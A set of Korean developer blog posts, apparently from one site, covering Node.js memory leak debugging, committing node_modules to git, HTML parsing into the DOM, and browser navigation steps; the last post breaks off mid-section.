힙 할당 지표를 메모리에 저장하지 않기 위해 데이터를 쉽게 사용할 수 있도록 csv 파일에 쓰도록 처리한다. 만약 점진적으로 메모리 지표를 가져오기 위해서는 위 테스트 코드 `console.log` 상단에 아래 코드를 붙여 두면 된다.

```javascript
const elapsedTimeInSecs = (Date.now() - start) / 1000
const timeRounded = Math.round(elapsedTimeInSecs * 100) / 100

fs.appendFile(LOG_FILE, timeRounded + ',' + gbRounded + os.EOL, () => {}) // fire-and-forget
```

이 코드를 사용하면 시간이 지남에 따라, 힙 사용이 증가한다면 메모리 누수를 디버깅할 수 있다.

### index.js

```javascript
function allocateMemory(size) {
  // Simulate allocation of bytes
  const numbers = size / 8
  const arr = []
  arr.length = numbers
  for (let i = 0; i < numbers; i++) {
    arr[i] = i
  }
  return arr
}

const path = require('path')
const fs = require('fs')
const os = require('os')

const memoryLeakAllocations = []

const field = 'heapUsed'
const allocationStep = 10000 * 1024 // 10MB

const TIME_INTERVAL_IN_MSEC = 40

setInterval(() => {
  const allocation = allocateMemory(allocationStep)

  memoryLeakAllocations.push(allocation)

  const mu = process.memoryUsage()
  // # bytes / KB / MB / GB
  const gbNow = mu[field] / 1024 / 1024 / 1024
  const gbRounded = Math.round(gbNow * 100) / 100

  const elapsedTimeInSecs = (Date.now() - start) / 1000
  const timeRounded = Math.round(elapsedTimeInSecs * 100) / 100

  fs.appendFile(LOG_FILE, timeRounded + ',' + gbRounded + os.EOL, () => {})
  console.log(`Heap allocated ${gbRounded} GB`)
}, TIME_INTERVAL_IN_MSEC)
```

![memory-usage](./images/memory-usage.png)

메모리 누수 감지 코드를 재사용할 수 있게 만드는 방법 중 하나는, 이 누수 감지 코드가 메인 루프 내부에 존재할 필요가 없으므로 이 코드를 자체 간격으로 실행될 수 있도록 래핑하는 것이다.

```javascript
setInterval(() => {
  const mu = process.memoryUsage()
  // # bytes / KB / MB / GB
  const gbNow = mu[field] / 1024 / 1024 / 1024
  const gbRounded = Math.round(gbNow * 100) / 100

  const elapsedTimeInSecs = (Date.now() - start) / 1000
  const timeRounded = Math.round(elapsedTimeInSecs * 100) / 100

  fs.appendFile(LOG_FILE, timeRounded + ',' + gbRounded + os.EOL, () => {}) // fire-and-forget
}, TIME_INTERVAL_IN_MSEC)
```

이는 운영용 코드로는 쓸 수 없지만, 적어도 로컬 에서 메모리 누수를 디버깅하는 방법을 보여주었다.실제 구현에서는 서버 디스크 공간이 부족하지 않도록 하는 설정, 비주얼, 알림, 로그 rotate 등이 필요하다.

## Chrome DevTools로 힙 스냅샷 분석하기

`--inspect` 플래그를 사용하면 Chrome DevTools에서 힙 스냅샷을 직접 분석할 수 있다. 이 방법이 메모리 누수를 추적하는 가장 강력한 방법이다.

```bash
node --inspect index.js
```

이후 Chrome에서 `chrome://inspect`를 열고 해당 Node.js 프로세스에 연결하면 된다. **Memory** 탭에서 힙 스냅샷을 찍고, 시간 간격을 두고 두 번째 스냅샷을 찍은 뒤 비교하면 어떤 객체가 해제되지 않고 누적되고 있는지 확인할 수 있다.

## `v8.getHeapStatistics()`로 상세 힙 정보 확인

`process.memoryUsage()`보다 더 상세한 V8 힙 정보가 필요하다면 `v8` 모듈을 사용할 수 있다.

```javascript
const v8 = require('v8')

const heapStats = v8.getHeapStatistics()
console.log({
  total_heap_size: `${(heapStats.total_heap_size / 1024 / 1024).toFixed(2)} MB`,
  used_heap_size: `${(heapStats.used_heap_size / 1024 / 1024).toFixed(2)} MB`,
  heap_size_limit: `${(heapStats.heap_size_limit / 1024 / 1024).toFixed(2)} MB`,
  malloced_memory: `${(heapStats.malloced_memory / 1024 / 1024).toFixed(2)} MB`,
  external_memory: `${(heapStats.external_memory / 1024 / 1024).toFixed(2)} MB`,
})
```

`heap_size_limit`을 확인하면 현재 프로세스의 최대 힙 크기를 알 수 있다. 참고로 Node.js의 기본 힙 크기는 버전과 시스템 메모리에 따라 다르다. Node.js 12 이후부터는 시스템 가용 메모리에 따라 동적으로 결정되며, 보통 1.5GB ~ 4GB 정도로 설정된다.

## 프로덕션 코드에서 메모리 누수 추적하기

위 코드를 프로덕션에서 그대로 쓰는 것은 무리일 것이다. 프로덕션에서는 [PM2와 같은 데몬 프로세스](https://pm2.keymetrics.io/docs/usage/restart-strategies/)를 활용하여 메모리 초과 시 자동으로 재시작하도록 설정할 수 있다.

```bash
pm2 start index.js --max-memory-restart 8G
```

Node.js 내장 기능인 [Diagnostic Report](https://nodejs.org/api/report.html)도 유용하다. 프로세스 상태, 힙 정보, 네이티브 스택 등을 JSON 리포트로 출력한다.

```bash
# OOM 발생 시 자동으로 리포트 생성
node --report-on-fatalerror index.js

# 시그널로 수동 트리거
node --report-on-signal index.js
# 다른 터미널에서: kill -USR2 <pid>
```

리포트에는 `javascriptHeap` 섹션이 포함되어 있어 OOM 시점의 힙 상태를 사후 분석할 수 있다.

## 요약

- V8은 세대별 가비지 컬렉션을 사용하며, 대부분의 객체는 young generation에서 수거된다.
- 기본 힙 크기는 시스템 메모리에 따라 동적으로 결정되며, `--max-old-space-size`로 조정할 수 있다.
- 메모리 누수 디버깅에는 `--inspect`를 통한 Chrome DevTools 힙 스냅샷이 가장 효과적이다.
- 프로덕션에서는 PM2 자동 재시작, Diagnostic Report, APM 도구 등을 조합하여 모니터링한다.

---

Source: https://yceffort.kr/2021/12/add-node_modules-in-git.md
Title: node_modules도 git에서도 관리하면 어떨까?
Description: 세상에 당연한 것은 없다, 고민을 해보지 않은 것이 있을 뿐
Date: 2021-12-11
Tags: nodejs, devops

## Table of Contents

## Introduction

우리가 `node_modules` 폴더를 버전관리 시스템에 두지 않는 이유는 많다.

- `node_modules`는 내(우리)가 직접 작성한 코드가 아니다.
- `node_modules`는 매우 큰 폴더고, git diff와 pull requests를 성가시게 만든다
- `node_modules`내 코드는 `npm`을 통해 쉽게 복제해 갈 수 있다.

그러나 만약에 `node_modules`를 버전 관리 시스템에서 관리해야 한다는 사람이 나타나면 어떻게 받아드려야 할까? 위 세가지 이유 때문에 정말 관리할 폴더가 없는 것일까? 만약 관리하기 시작한다면 어떻게 될까?

## 장점

### 장점1. 설치가 불필요해진다.

`node_modules`가 버전 관리 시스템에 들어가면 이제 더이상 설치할 필요가 없어진다. 이는 비단 개발자에게만 도움이 되는 것이 나리나, CI에서 돌아가고 있는 모든 봇 (CircleCI, Github Action 등..)에도 큰 도움이 된다. `npm install` 이던 `npm ci`이던 이던 어느정도 시간이 걸리는 작업이다. 그리고 이 작업은 봇에서 더 오래 걸릴 수 있다. 모든 PR과 배포에 대해 이 작업이 수행된다고 상상해보면, 상당히 많은 설치 작업이 반복적으로 일어나고 있을 것이다. 이를 버전 관리 시스템 안으로 집어 넣으면, 많은 시간과 대역폭을 절약할 수 있게 될 것이다.

### 장점2. 완전히 복제된 빌드 보장

`node_modules`가 버전 관리 시스템에 들어가면 완벽하게 개발자간에 동일한 dependencies를 가지고 동일한 코드를 실행한다는 것을 보장할 수 있다. 물론 `package-lock.json`과 기타 여러가지 도구를 사용하여 이러한 동일성을 보장받을 수도 있지만, `npm ci` 라도 설치전에 `node_modules`를 삭제하기 때문에 패키지 상황에 따라서 변화가 있을 여지가 존재한다.

> If a node_modules is already present, it will be automatically removed before npm ci begins its install.

따라서 `node_modules`를 버전 관리 시스템에 넣는 것 만큼 완벽하지는 않을 것이다.

### 장점3. 배포되고 있는 코드에 대한 경각심

`node_modules`가 버전 관리 시스템에 들어가면 이 의존성이 변화할 때마다, PR에서 엄청난 Diff를 보여줄 것이다. 물론, `package-lock.json`도 있지만, 이 파일은 기본적으로 diff가 생략되어 있기 때문에 종종 무시되고는 한다. PR에서 볼 수 있는 `node_modules`의 변화가, 디스크의 파일 크기에 관심을 갖게 하거나, 의존성이 미치는 영향 등을 다시금 살펴보게 되는 계기가 될 것이다.

### 장점4. 의존성 추가에 대한 가치있는 고민

앞서 언급했던 것처럼, git diff를 소음이라고 볼 수도 있지만, 이를 다시 생각해보면 우리가 배포하고 있는 코드에 대한 유용한 소음으로도 볼 수 있을 것이다. 종종 내가 직접 몇줄의 코드를 추가하고 싶지 않아서 라이브러리 의존성을 한줄 추가하는 경우가 있다. (lodash라던가, underscore라던가...) 하지만 git diff를 보게되면, 내가 추가하려는 의존성이 정말로 가치있는 일인지 한번 되돌아 볼수 있는 기회가 될 것이다.

예를 들어, lodash를 설치한다고 가정해보자. 버전관리 시스템에 `node_modules`가 없다면 그냥 `package.json`에 한줄, 그리고 diff가 생략되어 있는 `package-lock.json`에 몇줄 추가 되겠지만, 버전관리 시스템에 `node_modules`가 들어간다면, lodash에서 제공하는 온갖 유틸들이 다 설치되는 것을 보게 될 것이다. 이는 개발자들에게 경각심을 줄 수 있다. 내가 진짜 `lodash`가 필요해서 쓰는 건지를 말이다.

### 장점5. left-pad 사건을 방지할 수도 있다.

[left-pad 사건](https://www.bloter.net/newsView/blt201604040002)을 아는가? 요약하자면, 온갖 패키지에서 쓰고 있던 `left-pad`라는 npm 패키지를 (고작 11줄 밖에 되지 않았다) 강제로 삭제해버리자, 이를 의존성으로 사용하고 있던 온갖 패키지에서 에러가 난 사건이다.

![code](https://i.imgur.com/FkMcZDDh.jpg)
![comment](https://www.bloter.net/data/blt/image/2016/04/04/blt201604040008.jpg)

> 그렇게 엄청난 것도 아닌,, 11줄 짜리 코드

물론 장기적으로는, 이렇게 갑자기 날라간 패키지에 대한 대처를 해야겠지만, 단기적으로는 패키지 삭제와 관련 없이, 우리의 소스와 배포는 무사할 것이다.

## 큰 diff는 개발자가 관리할 수 있다.

`node_modules`가 버전 관리 시스템에 들어간 상황에서, 만약 새로운 의존성이 추가된다면 diff가 많이 생겨나는 것은 자명한 사실이다. 예를 들어 타입스크립트 하나만 업데이트 해도, git diff는 엄청나게 거대해질 것이고, CHANGELOG를 일일이 뒤지며 이것이 무엇이 바꼈는지 일일이 확인하는 것은 별로 가치 있는 일은 아니다. 이러한 잡음을 최소화 하기 위해, `node_modules`를 수정하는 PR이 있다면 `node_modules`외에 다른 파일은 PR에 올리지 않게 한다면 어떨까? 개발자는 새로운 혹은 수정된 의존성을 확인하는 작업과 진짜 코드를 수정하는 작업을 분리할 수 있으므로 도움이 될 것이다.

물론, 의존성 업데이트로 인해 우리의 코드를 업데이트해야 할 수도 있다. (typescript 버전 업과 같이) 이 경우에는 이러한 규칙을 임시로 무시하면 된다.

## 결론

만약 내가 새로운 코드를 작성하거나, 스타트업에서 일할 기회가 생긴다면 😏 `node_modules`를 버전관리 시스템에 넣는 것을 한번 추진해볼 것 같다. 물론 익숙해지려면 시간이 걸리겠지만, 관리로 인한 소음 보다 개발자에게 가져다 줄 수 있는 이익이 클 것 같다.

---

Source: https://yceffort.kr/2021/11/jorney-from-tags-to-dom.md
Title: HTML 문서에서 DOM으로의 여정
Description: parser의 동작원리도 살펴보기
Date: 2021-11-30
Tags: browser, html

## Table of Contents

## Introduction

[이전 글](/2021/11/journey-from-server-to-client)에서는 브라우저에서 서버로 URL이 전송되었을 때 어떻게 처리하는지, 그리고 관련 리소스 전달을 위해 어떻게 최적화 되고 있는지 등에 대해 알아보았다. 이제 데이터가 왔으니, 브라우저 엔진이 이 리소스를 렌더링하여 웹 페이지로 만들어야 한다. 어떻게 하면 HTML을 화면에 만들 수 있는 페이지로 만드는지 살펴보자.

## Parsing

네트워크를 통해서 서버에서 클라이언트로 리소스가 전달되면 이를 변환하는 작업이 필요하다. 가장 첫번째로 일어나는 일은 HTML 파서로, 여기에서 인코딩, pre-parsing, 토큰화 (tokenization), 트리 구조 변환 등을 처리한다.

### 1. Encoding

http 응답은 HTML 텍스트에서 이미지에 이르기 까지 모든 것이 될 수 있다. 파서가 첫번째로 해야 하는 일은 방금 응답으로 밭은 바이트를 해석하는 방법을 알아내는 것이다. HTML 문서를 처리한다고 가정해보자. HTML 문서를 처리하기전에, 디코더는 텍스트 문서가 어떻게 바이트로 변환되었는지 확인해야 한다.

> 텍스트도 사실 컴퓨터에서 바이너리로 변환을 해야 컴퓨터가 읽을 수 있다는 사실을 기억해야 한다.

텍스트를 어떻게 디코딩 해야 하는지 알아내는 것은 브라우저가 해야할 일이다. 서버는 `Content-Type` 헤더로 브라우저에 이 콘텐츠에 대한 힌트를 줄 수 있으며, [BOM](https://en.wikipedia.org/wiki/Byte_order_mark)을 통해서 맨 앞 비트를 가지고 분석을 할 수도 있다. 그럼에도 브라우저가 인코딩 할 수 없을 경우에는, 브라우저는 휴리스틱을 활용하여 최선의 인코딩을 분석할 수 있다. 혹은 html 태그에서 `<meta />` 태그로 인코딩된 콘텐츠에서 발견할 수도 있다. 최악의 경우, 브라우저가 일단 추측을 한다음, 파싱이 본격적으로 시작된 후로 이 인코딩에 대한 정보가 담겨있는 `<meta />` 태그를 발견할 수도 있다. 이러한 경우에는 이전까지 디코딩한 콘텐츠를 다 버리고 다시 처음부터 시작해야 한다. 브라우저는 종종 오래된 웹 콘텐츠 (레거시 인코딩으로 된)를 처리할 때가 있는데, 이러한 페이지들이 이런 방식으로 처리되고 있다.

### 2. Pre-parsing 및 scanning

인코딩을 확인하게 되면, 추가 리소스에 대한 왕복 딜레이를 최소화 하기 위해, 콘텐츠를 스캔하기 위한 initial pre-parsing을 시작하게 된다. 이 pre-parser는 완전한 파서로 보기는 어렵다. 왜냐하면 HTML이 얼마나 중첩되어 있는지, 그리고 부모-자식 관계는 무엇인지 확인하지 못하기 때문이다. 하지만 특정 HTML 태그의 속성 등을 파악할 수는 있다. 예를 들어 HTML 콘텐츠 어딘가에

```html
<img src="https://somewhere.example.com/images/dog.png" alt=">
```

가 있다고 가정하자.

이 pre-parser는 이 `src`의 값을 확인하고 이 리소스 값을 리소스 요청 대기열에 집어 넣어준다. 이렇게 함으로써 이미지를 최대한 빨리 요청할 수 있고, 이미지가 도착하는데 까지 걸리는 시간을 최소화 할 수 있다. 이외에도 [preload](https://developer.mozilla.org/en-US/docs/Web/HTML/Preloading_content)나 [pre-fetch 지시자](https://developer.mozilla.org/en-US/docs/Web/HTTP/Link_prefetching_FAQ)와 같은 것들을 확인하여 대기열에 집어 넣어줄 수 있다.

#### Tokenization

토큰화는 HTML 파싱 과정 중 하나로, 마크업을 `begin tag` `end tag` `text run` `comment` 등과 같은 개별 토큰으로 변환하여, 파서의 다음 상태로 만들어 준다. `tokenizer`는 상태 머신으로, HTML 언어의 서로다른 상태를 처리해준다. `|`를 이 상태 머신이 처리하는 과정이라고 간주해보자.

- `<|video controls>`: 태그가 열려 있는 상태임
- `<video con|trols>`: 태그의 `controls`이라고 하는 속성을 파악
- `<video controls|>`: 태그가 닫혀있음.

이렇듯 `tokenizer`는 문자를 읽을 때 마다 반복적으로 태그의 상태를 파악하는 역할을 한다.

![tokenization](https://i0.wp.com/alistapart.com/wp-content/uploads/2018/10/fig2.png?w=960&ssl=1)

[HTML 스펙 문서](https://html.spec.whatwg.org/multipage/parsing.html)를 살펴보면 `tokenizer`를 위해서 대략 80여개의 상태를 정의해둔다. 텍스트의 내용이 유효한 HTML 콘텐츠가 아니라도, 텍스트 컨텐츠를 처리하고 HTML 문서로 변환할 수도 있다. 이와 같은 탄력성은 개발자들이 쉽게 웹 개발을 할 수 있도록 해주는 특징이다. 그러나 이러한 탄력성이 예상치 못한 결과를 야기할 수도 있으며, 이로 인해 미묘한 버그가 발생할 수도 있다. HTML validator로 한번 검사하면 이러한 실수를 사전에 방지 할 수 있다.

마크업 언어 정확성에 엄격하게 대응하기 위해, 어떠한 실패라도 렌더링하지 못하게 막는 메커니즘이 있다. 이 parsing module은 [HTML을 처리할 때 XML규칙을 사용](https://en.wikipedia.org/wiki/XHTML)하며, 문서를 `application/xhtml+xml` 유형으로 브라우저에 전송하면 된다.

브라우저는 이 pre-parser단계와 tokenization 단계를 최적화를 위해서 한꺼번에 수행할 수도 있다.

### 3. 파싱 및 트리 구조화

브라우저는 웹 페이지 내부(메모리)에 표현할 무언가가 필요한데, 이를 정의하는 것이 [DOM 표준](https://dom.spec.whatwg.org/)이며, 이 스펙에서 어떻게 어떤 형태로 표현해야하는지 정의한다. 여기서 파서가 할 일은, 이전에 tokenizer가 만든 토큰을 가져와서 적절한 방식으로 만든 다음, Document Object Model(DOM) 객체에 삽입하는 것이다. DOM은 우리가 알다시피 트리 데이터 구조로 생성되므로, 이 프로세스를 [트리 구조화](<https://en.wikipedia.org/wiki/Tree_(data_structure)>) 라고도 한다.

> 놀랍게도 IE는 역사적으로 봤을 때 이를 트리구조로 사용한 적이 별로 없다. https://blogs.windows.com/msedgedev/2017/04/19/modernizing-dom-tree-microsoft-edge/

![DOM tree](https://i1.wp.com/alistapart.com/wp-content/uploads/2018/10/fig3.png?w=960&ssl=1)

HTML 파싱은 그 구조가 꽤 복잡하다. 그 이유는 앞서 언급한 것 처럼, 레거시 HTML 콘텐츠를 오늘날의 브라우저와 호환 가능하도록 구조를 유지하는 선에서 지원해야 하기 때문이다. 예를 들어, 대다수의 HTML 태그에는 끝 태그 문자 `/>`가 존재한다. 따라서 브라우저는 자동으로 해당 태그와 일치하는 태그를 닫을 수 있다. 아래 예시를 살펴보자.

{/* prettier-ignore-start */}

```html
<p>sincerely<p>The authors</p>
```

{/* prettier-ignore-end */}

파서는 위와 같은 ~~개같은~~ 구조를 암시적으로 종료 태그로 작성하는 규칙을 가지고 있다. 파서는 위 코드를 아래와 같이 변환한다.

```html
<p>sincerely</p>
<p>The authors</p>
```

이러한 규칙 덕분에, 자동으로 두 `<p/>` 태그가 형제 형태로 자리잡을 수 있게 되었다. parser의 규칙 중에서, HTML 테이블은 아마도 적절한 표 구조를 가질 수 있도록 보장하기 위한 가장 복잡한 규칙일 것이다.

이러한 복잡한 파싱 규칙을 일단 거치고 나면, 일단 DOM 트리가 만들어지고 나면 더 이상 이 규칙은 실행되지 않는다. 예를 들어, 자바스크립트를 사용하여 DOM트리르 마구잡이로 이상한 형태로 만들어 낼수도 있다. (비디오 태그에 테이블 셀을 집어 넣는다던지...) 따라서 렌더링 시스템은 이와 같은 모순된 상황에 대처하는 방법을 알아야 한다.

HTML 파싱을 복잡하게 하는 또다른 요인 중 하나는, 파서가 작업을 수행하는 동안 자바스크립트가 또 파싱해야할 콘텐츠를 추가할 수 있다는 것이다. `<script/>` 태그 내부에는 파서가 수집하고 다시 스크립팅 엔진에 보내야 하는 text를 포함하고 있다. 스크립트 엔진이 스크립트 텍스트를 구분분석하고, 평가하는 동안 parser는 기다린다. 만약 여기에서`document.write` API를 호출하는 경우, 또다시 HTML 파서가 실행되어야 한다. 건축 과정에 비유하자면, `<script/>`와 `document.write`는 공사작업을 하던 도중에 갑자기 무언가 필요한게 생각 나서 모든 작업을 중단하고 필요한 것을 사러가는 행위다. 이렇게 무언가를 사러나는 동안, 모든 공사작업은 중단된다.

### 4. 이벤트

parser가 끝나면, `DOMContentLoaded`라는 이벤트가 실행된다. 이벤트는 자바스크립트가 듣고 응답할 수 있는, 브라우저에 내장된 일종의 브로드캐스팅 시스템이다. `DOMContentLoaded`와 마찬가지로, 웹 페이지에는 다양한 이벤트 - `load` (파싱이 수행되고, 이미지, CSS, 비디오 등 파서가 요청한 모든 리소스가 다운로드 됨), `unload` (웹 페이지가 닫힐 예정임을 의미) - 가 존재한다. 대다수의 이벤트는 사용자가 화면을 터치하는 행위, 마우스를 사용하는 행위, 키보드를 사용하는 행위 등 사용자 입력으로 이루어져있다.

브라우저는 DOM에 이벤트 객체를 만들고, 이와 관련된 유용한 상태 정보 (화면 터치 위치, 눌린 키보드 등)의 정보를 가지고 이벤트를 실행한다. 이벤트를 수신하는 모든 자바스크립트 코드가 이밴트 객체와 함께 실행된다.

DOM 트리 구조는 트리의 모든 레벨(위치)에서 이벤트를 리슨할 수 있도록 함으로서, 코드가 얼마나 자주 이벤트에 자주 반응할지를 필터링할 수 있게 해준다. 브라우저는 먼저 트리에서 이벤트를 실행할 위치 (`<input/>` 과 같은 DOM 객체)를 결정한 다음, 트리의 루트 부터 시작하여 각 분기 (`<input/>`에 도달할 때 까지)를 거쳐 루트로 돌아가는 이벤트를 위한 일종의 경로를 계산한다. 격로에 있는 각 객체는 이벤트 리스터를 트리거하여, 결국에는 트리의 루트에 있는 리스너가 많은 이벤트를 볼 수 있게 해준다.

![이벤트 흐름](https://i0.wp.com/alistapart.com/wp-content/uploads/2018/10/fig4.png?w=960&ssl=1)

이 중 일부 이벤트는 취소 할 수도 있다. 예를 들어, form이 제대로 작성되지 않은 경우 form submit을 취소할 수도 있다.

### 5. DOM

HTML 은 파서가 처리할 수 있는 마크업의 범위를 훨씬 뛰어 넘는, 많은 기능을 제공한다. 파서는 어떤 element가 다른 element를 가지고 있는지, 어떤 attribute를 가지고 있는지 정도 수준의 구조를 구축한다. 이러한 구조와 상태를 조합하면, 기본적인 렌더링과 사용자가 인터랙션을 할 수 있는 환경을 제공하기에 충분하다. 그러나 CSS와 자바스크립트가 없다면 웹 페이지는 매우 단조로워 보일 것이다. DOM은 HTML의 엘리먼트와 HTML과 전혀 관련 없는 다른 객체들에 추가적인 기능을 제공한다.

#### element

파서는 트리에 넣을 객체를 만들때, 엘리먼트의 이름 (네임 스페이스)을 조회하고, 객체를 감싸기 위해 이와 일치하는 HTML 인터페이스를 찾는다.

인터페이스는 엘리먼트의 특징에 따라서 몇가지 기능을 추가한다. 이중 몇가지 기능을 사렾보자면

- 특정 엘리먼트의 하위 항목 전체 또는 일부를 나타내는 HTML Collection에 접근할 수 있는 기능
- 엘리먼트의 속성, 하위, 혹은 상위 엘리먼트를 검색하는 기능
- 새로운 엘리먼트를 만들고 (파서 없이) 트리에 붙이거나 분리하는 기능

`<table/>`과 같은 특정 엘리먼트의 경우, 태이블 내의 모든 행, 열, 셀을 찾기 위한 테이블 고유 기능 뿐만 아니라, 테이블에서 행과 셀을 제거하고, 추가하기 위한 기능들도 제공한다. `<canvas/>`에는 선, 도형, 텍스트 및 이미지를 그릴 수 있는 기능이 제공된다. 이러한 Api를 사용하기 위해서는, HTML 마크업만으로는 불가능하며, 자바스크립트를 사용한다.

위에서 설명한 api로 트리에 DOM을 변경하면, 이에 대한 변경 및 업데이트를 분석하는 작업이 브라우저에서 시작된다. 화면에 보이는 것을 최대한 빨려 보여주기 위해 노력한다. 이 트리는 이러한 반복적인 업데이트를 빠르고 효율적으로 만들기 위한 다음과 같은 최적화 기능을 활용한다.

- common 엘리먼트의 이름과 속성을 숫자로 접근 (빠른 식별을 위해 해시테이블 활용)
- 엘리먼트에서 자주 사용되는 하위 항목을 캐시 (빠른 하위 항목 iteration을 위해)
- 하위 트리의 변경이 전체트리의 변경으로 이어지지 않도록 변경을 최소화

#### 다른 api

HTML 엘리먼트와 DOM 내부의 HTML 인터페이스는 화면에 콘텐츠를 표시하는 브라우저의 유일한 메커니즘이다. CSS는 레이아웃에 영향을 미칠 수 는 있지만, HTML 엘리먼트에 존재하는 컨텐츠에 대해서만 영향을 미칠 수 있다. 궁극적으로 화면에서 콘텐츠를 보기 위해서는, 트리의 일부인 HTML 인터페이스를 통해야 한다.

지금까지는 파서가 어떻게 서버에서 가져온 HTML을 DOM 트리로 가져왔는지를 살펴보았으며, 그리고 DOM 내부의 엘리먼트 인터페이스를 사용하여 트리에 추가, 제거, 수정을 할 수 있는 지 알아보았다. 그러나 브라우저의 프로그래밍 가능한 DOM은 상당히 방대하며, 이는 HTML 엘리먼트 인터페이스에만 국한되는 것은 아니다.

브라우저의 DOM의 스코프는 앱이 OS에서 사용할 수 있는 기능들과 유수한 수준의 기능들을 가지고 있다. 예를 들어

- 스토리지 시스템에 접근 (데이터베이스, key/value 스토리지, 네트워크 캐시 스토리지)
- 디바이스에 접근 (geolocation, 근접 및 방향 센서, USB, MIDI, 블루투스 등)
- 네트워크 (http, 양방향 서버 소켓, 실시간 미디어 스트리밍)
- 그래픽 (2d, 3d, 쉐이더, 가상 및 증강 현실)
- 멀티스레딩 등등..

DOM에 의해 제공되는 기능은 주요 브라우저 엔진에 의해 새로운 웹 표준이 개발되고, 브라우저가 점차 이 기능을 구현해 나가면서 증가하고 있다.

---

Source: https://yceffort.kr/2021/11/journey-from-server-to-client.md
Title: 서버에서 클라이언트로의 여정 - 브라우저와 서버는 어떻게 데이터를 주고 받을까
Description: 네트워크도 공부해야하는데
Date: 2021-11-23
Tags: browser, networking, web-performance

## Table of Contents

## Introduction

브라우저에서 웹사이트를 보여주기 위해 무언가를 하기전에, 먼저 브라우저가 어디로 가는지 알아야 한다. 주소 표시줄에 URL을 입력하거나, 페이지 또는 다른 앱의 링크를 클릭하거나, 즐겨찾기를 클릭하는 등 다양한 방법으로 웹사이트에 접근할 수 있다. 어떤 경우든, 결국 `navigation`이라는 과정이 일어나게 된다. 소위 이 탐색이라는 과정은, 웹 사이트를 상호작용하는 과정의 첫 번째 단계이며, 이 후에 웹 페이지 로드에 필요한 이벤트가 연쇄적으로 일어난다.

## 최초 요청

브라우저에 로딩해야할 URL이 주어지면, 아래 몇가지 일이 일어난다.

### HSTS 확인

> https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security

먼저 쁘라우저는 URL이 HTTP 방식을 지정하는지를 확인해야 한다. 만약 HTTP 요청이라면, 브라우저는 도메인이 [HSTS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security) 목록에 있는지 확인 해야 한다. 이 목록은 사전에 로딩한 목록과 HSTS를 사용하도록 선택되어진 이전에 방문한 사이트 목록으로 구성되어 있으며, 두 사이트 목록 모두 브라우저에 저장된다. 요청된 HTTP 호스트가 HSTS 목록에 저장되어 있는 경우, HTTP 대신 HTTPS 버전의 URL로 요청이 이루어진다. 그렇기 때문에 브라우저에 http://yceffort.kr 를 입력해도 https://yceffort.kr 로 대신 보내진다.

### 서비스워커 확인

다음 부터는, 브라우저는 [서비스 워커](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API)가 요청을 처리할 수 있는지 확인해야 한다. 이 서비스 워커는 사용자가 오프라인 상태이고, 네트워크 연결이 없을 때 특히 중요하다. 서비스 워커는 비교적 최근에 나온 기능이다. (라고 하기엔 나온지는 꽤 되었지만) 서비스 워커는 오프라인에서도 웹 사이트를 사용할 수 있도록 네트워크 요청을 차단하고 [캐시](https://developer.mozilla.org/en-US/docs/Web/API/Cache)에서 처리할 수 있도록 도와준다.

서비스 워커는 페이지를 방문했을 때, [서비스 워커 등록 및 로컬 데이터 베이스에 URL 매핑을 기록할 수 있다.](https://www.w3.org/TR/service-workers-1/#dfn-scope-to-registration-map) 서비스 워커가 설치되었는지 여부를 확인하는 것은 데이터베이스에서 이전에 탐색한 적이 있는 URL을 조회하는 것 만큼이나 간단하다. 지정된 URL에 서비스 워커가 있는 경우, 요청에 대한 응답을 처리할 수 있다. 브라우저에서 [Navigation Preload](https://developers.google.com/web/updates/2017/02/navigation-preload#the-solution)를 사용할 수 있고, 사이트가 이 기능을 활용할 수 있는 경우, 브라우저는 초기 네비게이션 요청을 위해 네트워크를 동시에 참조한다. 이는 브라우저가 서비스 워커가 느려서 요청을 차단하지 않도록 하기 때문에 유용하다.

초기 요청을 처리한 서비스 워커가 없는 경우 (또는 Navigation Preload가 이미 사용 중인 경우) 브라우저는 네트워크 계층을 참조하기 시작한다.

### 네트워크 캐시 확인

브라우저는 네트워크 계층을 통해 캐시에 새로운 응답이 있는지 확인 한다. 일반적으로 이는 응답의 [Cache-Control](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control) 헤더에 의해 정의된다. `max-age` 으로 캐시된 항목이 얼마나 유효한지 정의할 수 있으며, `no-store`로 저장되지 않는 캐시를 정의할 수도 있다. 그리고 물론, 브라우저가 네트워크 요청의 캐시에서 아무것도 확인할 수 없는 경우에는, 네트워크 요청이 필연적으로 필요하다. 이후에 약 캐시에 새로운 응답이 있을 경우, 페이지를 로드하기 위해 리턴된다. 리소스가 발견되었지만, 굳이 새로운 리소스가 필요하지 않은 경우, 브라우저는 이 요청을 조건부 재평가 요청 (conditional revalidation request) 으로 반환할 수 있다. 여기에는 브라우저가 캐시에 이미 있는 콘텐츠 버전을 서버에 알리는 `If-Modified-Since` `If-None-Match` 헤더가 포함된다. 서버는 응답 없이 HTTP 304를 반환하여 사본이 여전히 유효하다는 것을 알리거나, 새 버전의 리소스와 함께 200 응답을 반환하여 사본이 오래된 것임을 브라우저에 알릴 수도 있다.

### 연결 확인

호스트 및 특정 포트에 대해 이전에 설정되어있는 연결이 있는 경우, 새 연결을 설정하는 대신에 이전 연결을 계속해서 사용하게 된다. 이전 연결이 없는 경우에는, 브라우저는 네트워크 레이어를 참조하여 [DNS](https://ko.wikipedia.org/wiki/%EB%8F%84%EB%A9%94%EC%9D%B8_%EB%84%A4%EC%9E%84_%EC%8B%9C%EC%8A%A4%ED%85%9C) 조회가 필요한지 파악한다. 이 작업에는 로컬 DNS 캐시를 살펴보는 작업도 포함되며, 캐시의 유통기한에 따라서 리모트 네임 서버도 참조할 수 있으며 (인터넷 서비스 공급자가 호스팅 하는 경우), 이 과정을 거치게 되면 브라우저가 연결 할 수 있는 올바른 IP 주소를 얻게 된다.

경우에 따라 브라우저가 접근할 도메인을 미리 예측할 수도 있으며, 예측 가능한 경우 이 도메인에 대한 연결이 준비 될 수도 있다. 링크 태그의 `rel="preconnect"`와 같은 [리소스 힌트](https://www.w3.org/TR/resource-hints/)를 사용하여 이후에 연결을 할 도메인에 대해 브라우저에 힌트를 제공할 수 있다. 예를 들어, 구글에 검색 결과가 나왔다고 가정해보자. 구글 사이트 입장에서, 사용자는 최상단 몇개 정도의 사이트에 사용자가 접근할 예정이라고 가정할 수 있다. 이 경우 해당 도메인에 대한 링크를 준비해두면 나중에 해당 링크를 클릭할 때 DNS를 조회하고, 연결설정을 하는등의 비용을 지불할 필요가 없다.

### 연결

